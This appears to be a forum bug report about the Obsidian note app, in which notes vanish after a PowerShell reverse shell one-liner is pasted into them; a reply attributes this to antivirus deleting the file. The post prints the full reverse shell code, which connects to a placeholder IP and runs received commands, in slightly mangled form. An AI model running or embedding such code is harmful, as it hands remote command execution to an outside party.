Bug: Reverse shell code makes note to disappear

Steps to reproduce

Pasting the following code (reverse shell code set up) causes new or existing note to disappear:

‘New-Object System.Net.Sockets.TCPClient({IP_address},443);$stream = $client.GetStream();[byte]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};’

Did you follow the troubleshooting guide? [Y/N] Y

Yes I did

Expected result

The text to be present and note to stay in-tact

Actual result

The entire note disappears :frowning:

Environment

SYSTEM INFO:
Obsidian version: v1.7.7
Installer version: v1.7.6
Operating system: Windows 11 Home 10.0.22631
Login status: not logged in
Language: en
Insider build toggle: off
Live preview: on
Base theme: adapt to system
Community theme: none
Snippets enabled: 0
Restricted mode: on

RECOMMENDATIONS:
none


Additional information

Your antivirus is deleting the file because it thinks it’s a threat. If you want that not to happen, you need to configure your antivirus appropriately.

1 Like